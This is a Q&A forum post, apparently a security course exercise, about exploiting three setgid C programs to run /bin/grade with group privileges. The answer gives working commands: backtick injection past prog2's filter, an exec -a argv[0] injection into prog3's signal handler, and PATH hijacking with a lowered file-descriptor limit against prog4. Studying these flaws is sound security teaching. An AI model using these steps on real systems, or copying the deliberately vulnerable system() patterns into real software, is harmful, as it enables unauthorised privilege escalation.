Skip to content
Advertisement

How can I use the set-guid (i.e., set group identification) vulnerability to execute a file with limited permissions?

How can I use the set-guid bit vulnerability to execute a file /bin/grade which is owned by root using the following 3 vulnerable programs? I am not root nor part of the bsp* groups so my access to the programs is limited to read & execute only. For the file /bin/grade, I only have read access, but I want to execute it as group bsp*.

-rwxr-sr-x 1 root bsp3    9673 Sep 25  2012 prog2
-rwxr-sr-x 1 root bsp4   10724 Sep 25  2012 prog3
-rwxr-sr-x 1 root bsp5    9557 Sep 25  2012 prog4

The 3 programs are binaries which contain the following C code:

//prog2:

int main(int argc, char **argv)
{
  /* set up command buffer */
  char cmdbuf[128] = "export IFS=' tn'; /usr/bin/file ";
  char *input = cmdbuf + strlen(cmdbuf);
  int len = sizeof(cmdbuf) - (strlen(cmdbuf) + 1);

  gid_t egid = getegid();
  setregid(egid, egid);

  /* read input -- use safe function to prevent buffer overrun */
  fprintf(stdout, "Please enter a filename: ");
  fgets(input, len, stdin);

  /* sanitize input -- replace unsafe shell characters */
  for (; *input != ''; ++input) {
    switch (*input) {
    case '|': case '&':
    case '<': case '>':
    case '!': case '$':
    case ';':
      *input = ' ';
      break;
    }
  }

  /* execute command */
  system(cmdbuf);

  return 0;
}

//prog3:

char cmdbuf[128] = "echo interrupt signal caught, terminating ";
char *progname;

/*
 * Handle a ^C keyboard interrupt in case the program is running
 * too long and the user terminates.
 */
void handle_signal(int sig)
{
  int len = sizeof(cmdbuf) - (strlen(cmdbuf) + 1);
  if (strlen(progname) > len)
    progname[len] = '';
  strcat(cmdbuf, progname);

  system(cmdbuf);
  exit(1);
}

void usage()
{
  printf("%s <n> where 0 < n <= 5.000n", progname);
  exit(1);
}

/*
 * The program takes one argument line parameter n (which has to be a
 * positive integer input parameter) and then prints out the first n
 * prime numbers.
 */
int main(int argc, char **argv)
{
  struct sigaction sa;
  int cnt, N, found;
  unsigned long candidate, divisor;

  gid_t egid = getegid();
  setregid(egid, egid);

  /* set up signal handling */
  memset(&sa, sizeof(struct sigaction), 0);
  sa.sa_handler = handle_signal;
  sigaction(SIGINT, &sa, NULL);


  /* process argument */
  progname = argv[0];
  if (argc != 2)
    usage();
  N = strtol(argv[1], NULL, 10);
  if ((N <= 0) || (N > 5000))
    usage();


  /* calculate prime numbers -- simple sieve */
  candidate = 1;
  for (cnt = 0; cnt < N; ++cnt) {

    for (;;) {
      found = 1;
      divisor = 2;
      candidate += 1;

      while (divisor <= candidate/2) {
        if ((candidate % divisor) == 0) {
          found = 0;
          break;
        }
        else
          ++divisor;
      }
      if (found)
        break;
    }
    printf("%ldn", candidate);
  }

  return 0;
}

//prog4:

int main(int argc, char **argv) {

  FILE *file = fopen("/etc/passwd","r");
  if (file==NULL)
    {
      printf("Oh no, first open failed!n");
      system("less /usr/local/share/error.txt");
      /* Mayday mayday! Bailing out */
      exit(1);
    }
  FILE *file2 = fopen("/etc/passwd","r");
  if (file2==NULL)
    {
      fclose(file);
      printf("Oh no, second open failed!n");
      system("less /usr/local/share/error.txt");
      /* Mayday mayday! Bailing out */
      exit(1);
    }
  FILE *file3 = fopen("/etc/passwd","r");
  if (file3==NULL)
    {
      fclose(file);
      fclose(file2);
      printf("Oh no, third open failed!n");
      system("less /usr/local/share/error.txt");
      /* Mayday mayday! Bailing out */
      exit(1);
    }
  FILE *file4 = fopen("/etc/passwd","r");
  if (file4==NULL)
    {
      fclose(file);
      fclose(file2);
      fclose(file3);
      printf("Oh no, fourth open failed!n");
      system("less /usr/local/share/error.txt");
      /* Mayday mayday! Bailing out */
      exit(1);
    }

  /* Imagine we are doing something very important and useful here... */

  printf("I managed to successfully open the /etc/passwd file 4 times! I am the king yeahaaaa!nn");
  printf("Never think you've seen the last of anything. Eudora Weltynn");

  return 0;
}

Advertisement

Answer

This problem can be solved by exploiting shell injection vulnerabilities.

For prog2:

$ /usr/local/bin/prog2

When prompted, enter /bin/grade as the file name within the special character ` which the sanitiser forgot to address.

For prog3:

$ exec -a “;/bin/grade” /usr/local/bin/prog3 5000

But you have to hit Ctrl+C quickly so that the interrupt signal function is called.

For prog4:

$ cd ~/
$ export PATH=/path/to/your/home:$PATH //prepend the path to your current/home directory so that the system looks there for `less`
$ ln -s -f /bin/grade less
$ ulimit -n 6
$ /usr/local/bin/prog4
User contributions licensed under: CC BY-SA
4 People found this is helpful
Advertisement